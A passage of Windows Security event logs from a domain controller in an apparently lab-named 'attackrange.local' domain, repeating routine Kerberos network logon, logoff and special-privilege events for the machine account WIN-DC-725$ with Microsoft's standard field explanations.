	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249143
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD5B5B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249142
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD5AFA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249141
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD5AFA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64150

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:13 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249140
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD5AFA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249163
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD76E9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249162
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD76E9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64158

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249161
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD76E9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249160
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD7688

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249159
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD7688
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64157

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249158
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD7688

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249157
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD760C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249156
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD760C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64156

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249155
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD760C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249154
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD75AB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249153
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD75AB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64155

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:14 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249152
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD75AB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249175
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD9B48

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249174
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD9B48
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64162

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249173
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD9B48

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249172
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD9AE7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249171
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD9AE7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64161

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249170
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD9AE7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249169
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD9A81

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249168
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD9A81
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64160

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249167
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD9A81

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:48:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=249166
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD9A20

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:48:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=249165
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD9A20
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64159

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:48:15 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=249164
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD9A20

